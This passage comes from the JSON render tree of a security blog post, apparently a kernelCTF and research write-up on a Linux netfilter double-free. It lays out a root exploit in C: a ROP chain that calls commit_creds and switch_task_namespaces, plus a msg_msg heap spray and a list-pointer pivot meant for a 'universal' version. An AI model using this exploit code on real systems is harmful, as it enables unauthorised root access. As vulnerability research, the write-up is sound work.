",{"type":24,"tag":156,"props":59860,"children":59862},{"className":59861},[],[59863],{"type":30,"value":59864},"rax",{"type":30,"value":681},{"type":24,"tag":156,"props":59867,"children":59869},{"className":59868},[],[59870],{"type":30,"value":59871},"rdi",{"type":30,"value":59873},". What I ended up going with was a ",{"type":24,"tag":156,"props":59875,"children":59877},{"className":59876},[],[59878],{"type":30,"value":59879},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":30,"value":59881}," gadget, that allowed me to push the ",{"type":24,"tag":156,"props":59883,"children":59885},{"className":59884},[],[59886],{"type":30,"value":59864},{"type":30,"value":59888}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":24,"tag":156,"props":59890,"children":59892},{"className":59891},[],[59893],{"type":30,"value":59894},"pop rdi; ret",{"type":30,"value":59896}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":24,"tag":96,"props":59898,"children":59899},{},[59900,59905,59918],{"type":24,"tag":100,"props":59901,"children":59902},{},[59903],{"type":30,"value":59904},"We push the value onto the stack (stack pointer regresses)",{"type":24,"tag":100,"props":59906,"children":59907},{},[59908,59910,59916],{"type":30,"value":59909},"We jump to our \"trampoline\" gadget (",{"type":24,"tag":156,"props":59911,"children":59913},{"className":59912},[],[59914],{"type":30,"value":59915},"pop rdi; ret;",{"type":30,"value":59917}," location)",{"type":24,"tag":100,"props":59919,"children":59920},{},[59921,59926],{"type":24,"tag":156,"props":59922,"children":59924},{"className":59923},[],[59925],{"type":30,"value":59894},{"type":30,"value":59927}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":24,"tag":920,"props":59929,"children":59931},{"className":32201,"code":59930,"language":32203,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[59932],{"type":24,"tag":156,"props":59933,"children":59934},{"__ignoreMap":7},[59935,59942,59959,60004,60040,60076,60083,60091,60134,60165,60201,60246,60301,60346,60353,60361,60404,60440,60476],{"type":24,"tag":930,"props":59936,"children":59937},{"class":932,"line":933},[59938],{"type":24,"tag":930,"props":59939,"children":59940},{"style":959},[59941],{"type":30,"value":990},{"type":24,"tag":930,"props":59943,"children":59944},{"class":932,"line":984},[59945,59950,59955],{"type":24,"tag":930,"props":59946,"children":59947},{"style":959},[59948],{"type":30,"value":59949},"    // commit_creds(&",{"type":24,"tag":930,"props":59951,"children":59952},{"style":1023},[59953],{"type":30,"value":59954},"init_cred",{"type":24,"tag":930,"props":59956,"children":59957},{"style":959},[59958],{"type":30,"value":1278},{"type":24,"tag":930,"props":59960,"children":59961},{"class":932,"line":993},[59962,59966,59970,59974,59978,59982,59986,59990,59995,59999],{"type":24,"tag":930,"props":59963,"children":59964},{"style":1023},[59965],{"type":30,"value":59259},{"type":24,"tag":930,"props":59967,"children":59968},{"style":959},[59969],{"type":30,"value":59774},{"type":24,"tag":930,"props":59971,"children":59972},{"style":1158},[59973],{"type":30,"value":54358},{"type":24,"tag":930,"props":59975,"children":59976},{"style":959},[59977],{"type":30,"value":11770},{"type":24,"tag":930,"props":59979,"children":59980},{"style":1158},[59981],{"type":30,"value":1161},{"type":24,"tag":930,"props":59983,"children":59984},{"style":959},[59985],{"type":30,"value":59280},{"type":24,"tag":930,"props":59987,"children":59988},{"style":1158},[59989],{"type":30,"value":1400},{"type":24,"tag":930,"props":59991,"children":59992},{"style":1242},[59993],{"type":30,"value":59994}," 0xffffffff8112c7c0",{"type":24,"tag":930,"props":59996,"children":59997},{"style":959},[59998],{"type":30,"value":52163},{"type":24,"tag":930,"props":60000,"children":60001},{"style":1422},[60002],{"type":30,"value":60003}," // pop rdi; ret;\n",{"type":24,"tag":930,"props":60005,"children":60006},{"class":932,"line":1057},[60007,60011,60015,60019,60023,60027,60031,60035],{"type":24,"tag":930,"props":60008,"children":60009},{"style":1023},[60010],{"type":30,"value":59259},{"type":24,"tag":930,"props":60012,"children":60013},{"style":959},[60014],{"type":30,"value":59774},{"type":24,"tag":930,"props":60016,"children":60017},{"style":1158},[60018],{"type":30,"value":54358},{"type":24,"tag":930,"props":60020,"children":60021},{"style":959},[60022],{"type":30,"value":11770},{"type":24,"tag":930,"props":60024,"children":60025},{"style":1158},[60026],{"type":30,"value":1161},{"type":24,"tag":930,"props":60028,"children":60029},{"style":959},[60030],{"type":30,"value":59280},{"type":24,"tag":930,"props":60032,"children":60033},{"style":1158},[60034],{"type":30,"value":1400},{"type":24,"tag":930,"props":60036,"children":60037},{"style":959},[60038],{"type":30,"value":60039}," INIT_CRED;\n",{"type":24,"tag":930,"props":60041,"children":60042},{"class":932,"line":1066},[60043,60047,60051,60055,60059,60063,60067,60071],{"type":24,"tag":930,"props":60044,"children":60045},{"style":1023},[60046],{"type":30,"value":59259},{"type":24,"tag":930,"props":60048,"children":60049},{"style":959},[60050],{"type":30,"value":59774},{"type":24,"tag":930,"props":60052,"children":60053},{"style":1158},[60054],{"type":30,"value":54358},{"type":24,"tag":930,"props":60056,"children":60057},{"style":959},[60058],{"type":30,"value":11770},{"type":24,"tag":930,"props":60060,"children":60061},{"style":1158},[60062],{"type":30,"value":1161},{"type":24,"tag":930,"props":60064,"children":60065},{"style":959},[60066],{"type":30,"value":59280},{"type":24,"tag":930,"props":60068,"children":60069},{"style":1158},[60070],{"type":30,"value":1400},{"type":24,"tag":930,"props":60072,"children":60073},{"style":959},[60074],{"type":30,"value":60075}," COMMIT_CREDS;\n",{"type":24,"tag":930,"props":60077,"children":60078},{"class":932,"line":1075},[60079],{"type":24,"tag":930,"props":60080,"children":60081},{"emptyLinePlaceholder":16},[60082],{"type":30,"value":2412},{"type":24,"tag":930,"props":60084,"children":60085},{"class":932,"line":1122},[60086],{"type":24,"tag":930,"props":60087,"children":60088},{"style":1422},[60089],{"type":30,"value":60090},"    // task = find_task_by_vpid(1);\n",{"type":24,"tag":930,"props":60092,"children":60093},{"class":932,"line":1131},[60094,60098,60102,60106,60110,60114,60118,60122,60126,60130],{"type":24,"tag":930,"props":60095,"children":60096},{"style":1023},[60097],{"type":30,"value":59259},{"type":24,"tag":930,"props":60099,"children":60100},{"style":959},[60101],{"type":30,"value":59774},{"type":24,"tag":930,"props":60103,"children":60104},{"style":1158},[60105],{"type":30,"value":54358},{"type":24,"tag":930,"props":60107,"children":60108},{"style":959},[60109],{"type":30,"value":11770},{"type":24,"tag":930,"props":60111,"children":60112},{"style":1158},[60113],{"type":30,"value":1161},{"type":24,"tag":930,"props":60115,"children":60116},{"style":959},[60117],{"type":30,"value":59280},{"type":24,"tag":930,"props":60119,"children":60120},{"style":1158},[60121],{"type":30,"value":1400},{"type":24,"tag":930,"props":60123,"children":60124},{"style":1242},[60125],{"type":30,"value":59994},{"type":24,"tag":930,"props":60127,"children":60128},{"style":959},[60129],{"type":30,"value":52163},{"type":24,"tag":930,"props":60131,"children":60132},{"style":1422},[60133],{"type":30,"value":60003},{"type":24,"tag":930,"props":60135,"children":60136},{"class":932,"line":1144},[60137,60141,60145,60149,60153,60157,60161],{"type":24,"tag":930,"props":60138,"children":60139},{"style":1023},[60140],{"type":30,"value":59259},{"type":24,"tag":930,"props":60142,"children":60143},{"style":959},[60144],{"type":30,"value":59774},{"type":24,"tag":930,"props":60146,"children":60147},{"style":1158},[60148],{"type":30,"value":54358},{"type":24,"tag":930,"props":60150,"children":60151},{"style":959},[60152],{"type":30,"value":11770},{"type":24,"tag":930,"props":60154,"children":60155},{"style":1158},[60156],{"type":30,"value":1161},{"type":24,"tag":930,"props":60158,"children":60159},{"style":1242},[60160],{"type":30,"value":7637},{"type":24,"tag":930,"props":60162,"children":60163},{"style":959},[60164],{"type":30,"value":5539},{"type":24,"tag":930,"props":60166,"children":60167},{"class":932,"line":1169},[60168,60172,60176,60180,60184,60188,60192,60196],{"type":24,"tag":930,"props":60169,"children":60170},{"style":1023},[60171],{"type":30,"value":59259},{"type":24,"tag":930,"props":60173,"children":60174},{"style":959},[60175],{"type":30,"value":59774},{"type":24,"tag":930,"props":60177,"children":60178},{"style":1158},[60179],{"type":30,"value":54358},{"type":24,"tag":930,"props":60181,"children":60182},{"style":959},[60183],{"type":30,"value":11770},{"type":24,"tag":930,"props":60185,"children":60186},{"style":1158},[60187],{"type":30,"value":1161},{"type":24,"tag":930,"props":60189,"children":60190},{"style":959},[60191],{"type":30,"value":59280},{"type":24,"tag":930,"props":60193,"children":60194},{"style":1158},[60195],{"type":30,"value":1400},{"type":24,"tag":930,"props":60197,"children":60198},{"style":959},[60199],{"type":30,"value":60200}," FIND_TASK_BY_VPID;\n",{"type":24,"tag":930,"props":60202,"children":60203},{"class":932,"line":1191},[60204,60208,60212,60216,60220,60224,60228,60232,60237,60241],{"type":24,"tag":930,"props":60205,"children":60206},{"style":1023},[60207],{"type":30,"value":59259},{"type":24,"tag":930,"props":60209,"children":60210},{"style":959},[60211],{"type":30,"value":59774},{"type":24,"tag":930,"props":60213,"children":60214},{"style":1158},[60215],{"type":30,"value":54358},{"type":24,"tag":930,"props":60217,"children":60218},{"style":959},[60219],{"type":30,"value":11770},{"type":24,"tag":930,"props":60221,"children":60222},{"style":1158},[60223],{"type":30,"value":1161},{"type":24,"tag":930,"props":60225,"children":60226},{"style":959},[60227],{"type":30,"value":59280},{"type":24,"tag":930,"props":60229,"children":60230},{"style":1158},[60231],{"type":30,"value":1400},{"type":24,"tag":930,"props":60233,"children":60234},{"style":1242},[60235],{"type":30,"value":60236}," 0xffffffff8102e2a6",{"type":24,"tag":930,"props":60238,"children":60239},{"style":959},[60240],{"type":30,"value":52163},{"type":24,"tag":930,"props":60242,"children":60243},{"style":1422},[60244],{"type":30,"value":60245}," // pop rsi; ret;\n",{"type":24,"tag":930,"props":60247,"children":60248},{"class":932,"line":1223},[60249,60253,60257,60261,60265,60269,60274,60278,60283,60287,60292,60296],{"type":24,"tag":930,"props":60250,"children":60251},{"style":1023},[60252],{"type":30,"value":59259},{"type":24,"tag":930,"props":60254,"children":60255},{"style":959},[60256],{"type":30,"value":59774},{"type":24,"tag":930,"props":60258,"children":60259},{"style":1158},[60260],{"type":30,"value":54358},{"type":24,"tag":930,"props":60262,"children":60263},{"style":959},[60264],{"type":30,"value":11770},{"type":24,"tag":930,"props":60266,"children":60267},{"style":1158},[60268],{"type":30,"value":1161},{"type":24,"tag":930,"props":60270,"children":60271},{"style":959},[60272],{"type":30,"value":60273}," obj_ptr ",{"type":24,"tag":930,"props":60275,"children":60276},{"style":1158},[60277],{"type":30,"value":1400},{"type":24,"tag":930,"props":60279,"children":60280},{"style":1242},[60281],{"type":30,"value":60282}," 0xe0",{"type":24,"tag":930,"props":60284,"children":60285},{"style":1158},[60286],{"type":30,"value":54344},{"type":24,"tag":930,"props":60288,"children":60289},{"style":1242},[60290],{"type":30,"value":60291}," 0x66",{"type":24,"tag":930,"props":60293,"children":60294},{"style":959},[60295],{"type":30,"value":52163},{"type":24,"tag":930,"props":60297,"children":60298},{"style":1422},[60299],{"type":30,"value":60300},"            // rax -> rdi and resume rop\n",{"type":24,"tag":930,"props":60302,"children":60303},{"class":932,"line":1281},[60304,60308,60312,60316,60320,60324,60328,60332,60337,60341],{"type":24,"tag":930,"props":60305,"children":60306},{"style":1023},[60307],{"type":30,"value":59259},{"type":24,"tag":930,"props":60309,"children":60310},{"style":959},[60311],{"type":30,"value":59774},{"type":24,"tag":930,"props":60313,"children":60314},{"style":1158},[60315],{"type":30,"value":54358},{"type":24,"tag":930,"props":60317,"children":60318},{"style":959},[60319],{"type":30,"value":11770},{"type":24,"tag":930,"props":60321,"children":60322},{"style":1158},[60323],{"type":30,"value":1161},{"type":24,"tag":930,"props":60325,"children":60326},{"style":959},[60327],{"type":30,"value":59280},{"type":24,"tag":930,"props":60329,"children":60330},{"style":1158},[60331],{"type":30,"value":1400},{"type":24,"tag":930,"props":60333,"children":60334},{"style":1242},[60335],{"type":30,"value":60336}," 0xffffffff81caed31",{"type":24,"tag":930,"props":60338,"children":60339},{"style":959},[60340],{"type":30,"value":52163},{"type":24,"tag":930,"props":60342,"children":60343},{"style":1422},[60344],{"type":30,"value":60345}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":24,"tag":930,"props":60347,"children":60348},{"class":932,"line":1313},[60349],{"type":24,"tag":930,"props":60350,"children":60351},{"emptyLinePlaceholder":16},[60352],{"type":30,"value":2412},{"type":24,"tag":930,"props":60354,"children":60355},{"class":932,"line":1335},[60356],{"type":24,"tag":930,"props":60357,"children":60358},{"style":1422},[60359],{"type":30,"value":60360},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":24,"tag":930,"props":60362,"children":60363},{"class":932,"line":1376},[60364,60368,60372,60376,60380,60384,60388,60392,60396,60400],{"type":24,"tag":930,"props":60365,"children":60366},{"style":1023},[60367],{"type":30,"value":59259},{"type":24,"tag":930,"props":60369,"children":60370},{"style":959},[60371],{"type":30,"value":59774},{"type":24,"tag":930,"props":60373,"children":60374},{"style":1158},[60375],{"type":30,"value":54358},{"type":24,"tag":930,"props":60377,"children":60378},{"style":959},[60379],{"type":30,"value":11770},{"type":24,"tag":930,"props":60381,"children":60382},{"style":1158},[60383],{"type":30,"value":1161},{"type":24,"tag":930,"props":60385,"children":60386},{"style":959},[60387],{"type":30,"value":59280},{"type":24,"tag":930,"props":60389,"children":60390},{"style":1158},[60391],{"type":30,"value":1400},{"type":24,"tag":930,"props":60393,"children":60394},{"style":1242},[60395],{"type":30,"value":60236},{"type":24,"tag":930,"props":60397,"children":60398},{"style":959},[60399],{"type":30,"value":52163},{"type":24,"tag":930,"props":60401,"children":60402},{"style":1422},[60403],{"type":30,"value":60245},{"type":24,"tag":930,"props":60405,"children":60406},{"class":932,"line":1418},[60407,60411,60415,60419,60423,60427,60431,60435],{"type":24,"tag":930,"props":60408,"children":60409},{"style":1023},[60410],{"type":30,"value":59259},{"type":24,"tag":930,"props":60412,"children":60413},{"style":959},[60414],{"type":30,"value":59774},{"type":24,"tag":930,"props":60416,"children":60417},{"style":1158},[60418],{"type":30,"value":54358},{"type":24,"tag":930,"props":60420,"children":60421},{"style":959},[60422],{"type":30,"value":11770},{"type":24,"tag":930,"props":60424,"children":60425},{"style":1158},[60426],{"type":30,"value":1161},{"type":24,"tag":930,"props":60428,"children":60429},{"style":959},[60430],{"type":30,"value":59280},{"type":24,"tag":930,"props":60432,"children":60433},{"style":1158},[60434],{"type":30,"value":1400},{"type":24,"tag":930,"props":60436,"children":60437},{"style":959},[60438],{"type":30,"value":60439}," INIT_NSPROXY;\n",{"type":24,"tag":930,"props":60441,"children":60442},{"class":932,"line":1438},[60443,60447,60451,60455,60459,60463,60467,60471],{"type":24,"tag":930,"props":60444,"children":60445},{"style":1023},[60446],{"type":30,"value":59259},{"type":24,"tag":930,"props":60448,"children":60449},{"style":959},[60450],{"type":30,"value":59774},{"type":24,"tag":930,"props":60452,"children":60453},{"style":1158},[60454],{"type":30,"value":54358},{"type":24,"tag":930,"props":60456,"children":60457},{"style":959},[60458],{"type":30,"value":11770},{"type":24,"tag":930,"props":60460,"children":60461},{"style":1158},[60462],{"type":30,"value":1161},{"type":24,"tag":930,"props":60464,"children":60465},{"style":959},[60466],{"type":30,"value":59280},{"type":24,"tag":930,"props":60468,"children":60469},{"style":1158},[60470],{"type":30,"value":1400},{"type":24,"tag":930,"props":60472,"children":60473},{"style":959},[60474],{"type":30,"value":60475}," SWITCH_TASK_NAMESPACES;\n",{"type":24,"tag":930,"props":60477,"children":60478},{"class":932,"line":1479},[60479],{"type":24,"tag":930,"props":60480,"children":60481},{"style":959},[60482],{"type":30,"value":990},{"type":24,"tag":151,"props":60484,"children":60486},{"id":60485},"grabbing-the-kernelctf-flag",[60487],{"type":30,"value":60488},"Grabbing the kernelCTF flag",{"type":24,"tag":33,"props":60490,"children":60491},{},[60492,60496,60498,60505],{"type":24,"tag":140,"props":60493,"children":60495},{"alt":142,"src":60494},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":30,"value":60497},"\nYou can find the kernelCTF exploit in our ",{"type":24,"tag":37,"props":60499,"children":60502},{"href":60500,"rel":60501},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[41],[60503],{"type":30,"value":60504},"GitHub",{"type":30,"value":436},{"type":24,"tag":68,"props":60507,"children":60509},{"id":60508},"universal-exploit",[60510],{"type":30,"value":60511},"Universal exploit",{"type":24,"tag":33,"props":60513,"children":60514},{},[60515],{"type":30,"value":60516},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":24,"tag":151,"props":60518,"children":60520},{"id":60519},"pivot-capability-using-msg_msg-mlistnext-pointer",[60521],{"type":30,"value":60522},"Pivot capability using msg_msg->mlist.next pointer",{"type":24,"tag":33,"props":60524,"children":60525},{},[60526,60528,60534,60536,60541,60543,60549],{"type":30,"value":60527},"Using the double-free vulnerability we can overlap a ",{"type":24,"tag":156,"props":60529,"children":60531},{"className":60530},[],[60532],{"type":30,"value":60533},"msg_msg",{"type":30,"value":60535}," object with with ",{"type":24,"tag":156,"props":60537,"children":60539},{"className":60538},[],[60540],{"type":30,"value":58188},{"type":30,"value":60542}," and control the ",{"type":24,"tag":156,"props":60544,"children":60546},{"className":60545},[],[60547],{"type":30,"value":60548},"m_list.next",{"type":30,"value":60550}," pointer.",{"type":24,"tag":920,"props":60552,"children":60554},{"className":32201,"code":60553,"language":32203,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[60555],{"type":24,"tag":156,"props":60556,"children":60557},{"__ignoreMap":7},[60558,60566,60582,60603,60616,60634,60659,60675,60683,60690,60697,60705,60737],{"type":24,"tag":930,"props":60559,"children":60560},{"class":932,"line":933},[60561],{"type":24,"tag":930,"props":60562,"children":60563},{"style":1422},[60564],{"type":30,"value":60565},"/* one msg_msg structure for each message */\n",{"type":24,"tag":930,"props":60567,"children":60568},{"class":932,"line":984},[60569,60573,60578],{"type":24,"tag":930,"props":60570,"children":60571},{"style":937},[60572],{"type":30,"value":12509},{"type":24,"tag":930,"props":60574,"children":60575},{"style":943},[60576],{"type":30,"value":60577}," msg_msg",{"type":24,"tag":930,"props":60579,"children":60580},{"style":959},[60581],{"type":30,"value":981},{"type":24,"tag":930,"props":60583,"children":60584},{"class":932,"line":993},[60585,60589,60594,60599],{"type":24,"tag":930,"props":60586,"children":60587},{"style":937},[60588],{"type":30,"value":24253},{"type":24,"tag":930,"props":60590,"children":60591},{"style":943},[60592],{"type":30,"value":60593}," list_head",{"type":24,"tag":930,"props":60595,"children":60596},{"style":1023},[60597],{"type":30,"value":60598}," m_list",{"type":24,"tag":930,"props":60600,"children":60601},{"style":959},[60602],{"type":30,"value":5539},{"type":24,"tag":930,"props":60604,"children":60605},{"class":932,"line":1057},[60606,60611],{"type":24,"tag":930,"props":60607,"children":60608},{"style":937},[60609],{"type":30,"value":60610}," long",{"type":24,"tag":930,"props":60612,"children":60613},{"style":959},[60614],{"type":30,"value":60615}," m_type;\n",{"type":24,"tag":930,"props":60617,"children":60618},{"class":932,"line":1066},[60619,60624,60629],{"type":24,"tag":930,"props":60620,"children":60621},{"style":937},[60622],{"type":30,"value":60623}," size_t",{"type":24,"tag":930,"props":60625,"children":60626},{"style":959},[60627],{"type":30,"value":60628}," m_ts;",{"type":24,"tag":930,"props":60630,"children":60631},{"style":1422},[60632],{"type":30,"value":60633},"  /* message text size */\n",{"type":24,"tag":930,"props":60635,"children":60636},{"class":932,"line":1075},[60637,60641,60646,60650,60655],{"type":24,"tag":930,"props":60638,"children":60639},{"style":937},[60640],{"type":30,"value":24253},{"type":24,"tag":930,"props":60642,"children":60643},{"style":943},[60644],{"type":30,"value":60645}," msg_msgseg",{"type":24,"tag":930,"props":60647,"children":60648},{"style":937},[60649],{"type":30,"value":12924},{"type":24,"tag":930,"props":60651,"children":60652},{"style":1023},[60653],{"type":30,"value":60654},"next",{"type":24,"tag":930,"props":60656,"children":60657},{"style":959},[60658],{"type":30,"value":5539},{"type":24,"tag":930,"props":60660,"children":60661},{"class":932,"line":1122},[60662,60666,60670],{"type":24,"tag":930,"props":60663,"children":60664},{"style":937},[60665],{"type":30,"value":54138},{"type":24,"tag":930,"props":60667,"children":60668},{"style":1158},[60669],{"type":30,"value":12924},{"type":24,"tag":930,"props":60671,"children":60672},{"style":959},[60673],{"type":30,"value":60674},"security;\n",{"type":24,"tag":930,"props":60676,"children":60677},{"class":932,"line":1131},[60678],{"type":24,"tag":930,"props":60679,"children":60680},{"style":1422},[60681],{"type":30,"value":60682}," /* the actual message follows immediately */\n",{"type":24,"tag":930,"props":60684,"children":60685},{"class":932,"line":1144},[60686],{"type":24,"tag":930,"props":60687,"children":60688},{"style":959},[60689],{"type":30,"value":19679},{"type":24,"tag":930,"props":60691,"children":60692},{"class":932,"line":1169},[60693],{"type":24,"tag":930,"props":60694,"children":60695},{"style":959},[60696],{"type":30,"value":990},{"type":24,"tag":930,"props":60698,"children":60699},{"class":932,"line":1191},[60700],{"type":24,"tag":930,"props":60701,"children":60702},{"style":959},[60703],{"type":30,"value":60704},"struct list_head {\n",{"type":24,"tag":930,"props":60706,"children":60707},{"class":932,"line":1223},[60708,60712,60716,60720,60724,60728,60732],{"type":24,"tag":930,"props":60709,"children":60710},{"style":937},[60711],{"type":30,"value":24253},{"type":24,"tag":930,"props":60713,"children":60714},{"style":943},[60715],{"type":30,"value":60593},{"type":24,"tag":930,"props":60717,"children":60718},{"style":937},[60719],{"type":30,"value":12924},{"type":24,"tag":930,"props":60721,"children":60722},{"style":1023},[60723],{"type":30,"value":60654},{"type":24,"tag":930,"props":60725,"children":60726},{"style":959},[60727],{"type":30,"value":962},{"type":24,"tag":930,"props":60729,"children":60730},{"style":1158},[60731],{"type":30,"value":1410},{"type":24,"tag":930,"props":60733,"children":60734},{"style":959},[60735],{"type":30,"value":60736},"prev;\n",{"type":24,"tag":930,"props":60738,"children":60739},{"class":932,"line":1281},[60740],{"type":24,"tag":930,"props":60741,"children":60742},{"style":959},[60743],{"type":30,"value":19679},{"type":24,"tag":33,"props":60745,"children":60746},{},[60747,60749,60755,60757,60762],{"type":30,"value":60748},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":24,"tag":156,"props":60750,"children":60752},{"className":60751},[],[60753],{"type":30,"value":60754},"mlist.next",{"type":30,"value":60756}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":24,"tag":156,"props":60758,"children":60760},{"className":60759},[],[60761],{"type":30,"value":60533},{"type":30,"value":60763}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":24,"tag":33,"props":60765,"children":60766},{},[60767,60769,60774,60776],{"type":30,"value":60768},"By incrementing the next pointer of our controllable ",{"type":24,"tag":156,"props":60770,"children":60772},{"className":60771},[],[60773],{"type":30,"value":60533},{"type":30,"value":60775}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":24,"tag":140,"props":60777,"children":60779},{"alt":142,"src":60778},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":24,"tag":920,"props":60781,"children":60783},{"className":32201,"code":60782,"language":32203,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[60784],{"type":24,"tag":156,"props":60785,"children":60786},{"__ignoreMap":7},[60787,60794,60802,60828,60845,60893,60900,60940,60972,60979,61000,61007,61054,61118,61144,61190,61214,61258,61265,61273,61309,61333,61340,61360,61367],{"type":24,"tag":930,"props":60788,"children":60789},{"class":932,"line":933},[60790],{"type":24,"tag":930,"props":60791,"children":60792},{"style":959},[60793],{"type":30,"value":990},{"type":24,"tag":930,"props":60795,"children":60796},{"class":932,"line":984},[60797],{"type":24,"tag":930,"props":60798,"children":60799},{"style":959},[60800],{"type":30,"value":60801},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":24,"tag":930,"props":60803,"children":60804},{"class":932,"line":993},[60805,60810,60814,60818,60823],{"type":24,"tag":930,"props":60806,"children":60807},{"style":959},[60808],{"type":30,"value":60809},"    msg_t *msg = calloc(1, ",{"type":24,"tag":930,"props":60811,"children":60812},{"style":943},[60813],{"type":30,"value":58417},{"type":24,"tag":930,"props":60815,"children":60816},{"style":959},[60817],{"type":30,"value":1010},{"type":24,"tag":930,"props":60819,"children":60820},{"style":943},[60821],{"type":30,"value":60822},"msg_t",{"type":24,"tag":930,"props":60824,"children":60825},{"style":959},[60826],{"type":30,"value":60827},") + 0xe8 - 48);\n",{"type":24,"tag":930,"props":60829,"children":60830},{"class":932,"line":1057},[60831,60835,60840],{"type":24,"tag":930,"props":60832,"children":60833},{"style":937},[60834],{"type":30,"value":22179},{"type":24,"tag":930,"props":60836,"children":60837},{"style":1023},[60838],{"type":30,"value":60839}," qid",{"type":24,"tag":930,"props":60841,"children":60842},{"style":959},[60843],{"type":30,"value":60844},"[SPRAY];\n",{"type":24,"tag":930,"props":60846,"children":60847},{"class":932,"line":1066},[60848,60852,60856,60860,60864,60868,60872,60876,60880,60885,60889],{"type":24,"tag":930,"props":60849,"children":60850},{"style":1079},[60851],{"type":30,"value":6154},{"type":24,"tag":930,"props":60853,"children":60854},{"style":959},[60855],{"type":30,"value":1087},{"type":24,"tag":930,"props":60857,"children":60858},{"style":937},[60859],{"type":30,"value":22149},{"type":24,"tag":930,"props":60861,"children":60862},{"style":959},[60863],{"type":30,"value":57633},{"type":24,"tag":930,"props":60865,"children":60866},{"style":1158},[60867],{"type":30,"value":1161},{"type":24,"tag":930,"props":60869,"children":60870},{"style":1242},[60871],{"type":30,"value":1245},{"type":24,"tag":930,"props":60873,"children":60874},{"style":959},[60875],{"type":30,"value":54322},{"type":24,"tag":930,"props":60877,"children":60878},{"style":1158},[60879],{"type":30,"value":1350},{"type":24,"tag":930,"props":60881,"children":60882},{"style":959},[60883],{"type":30,"value":60884}," SPRAY; i",{"type":24,"tag":930,"props":60886,"children":60887},{"style":1158},[60888],{"type":30,"value":54358},{"type":24,"tag":930,"props":60890,"children":60891},{"style":959},[60892],{"type":30,"value":1054},{"type":24,"tag":930,"props":60894,"children":60895},{"class":932,"line":1075},[60896],{"type":24,"tag":930,"props":60897,"children":60898},{"style":959},[60899],{"type":30,"value":1128},{"type":24,"tag":930,"props":60901,"children":60902},{"class":932,"line":1122},[60903,60908,60912,60916,60921,60926,60931,60935],{"type":24,"tag":930,"props":60904,"children":60905},{"style":1023},[60906],{"type":30,"value":60907},"        qid",{"type":24,"tag":930,"props":60909,"children":60910},{"style":959},[60911],{"type":30,"value":57685},{"type":24,"tag":930,"props":60913,"children":60914},{"style":1158},[60915],{"type":30,"value":1161},{"type":24,"tag":930,"props":60917,"children":60918},{"style":1002},[60919],{"type":30,"value":60920}," msgget",{"type":24,"tag":930,"props":60922,"children":60923},{"style":959},[60924],{"type":30,"value":60925},"(IPC_PRIVATE, ",{"type":24,"tag":930,"props":60927,"children":60928},{"style":1242},[60929],{"type":30,"value":60930},"0666",{"type":24,"tag":930,"props":60932,"children":60933},{"style":1158},[60934],{"type":30,"value":7387},{"type":24,"tag":930,"props":60936,"children":60937},{"style":959},[60938],{"type":30,"value":60939}," 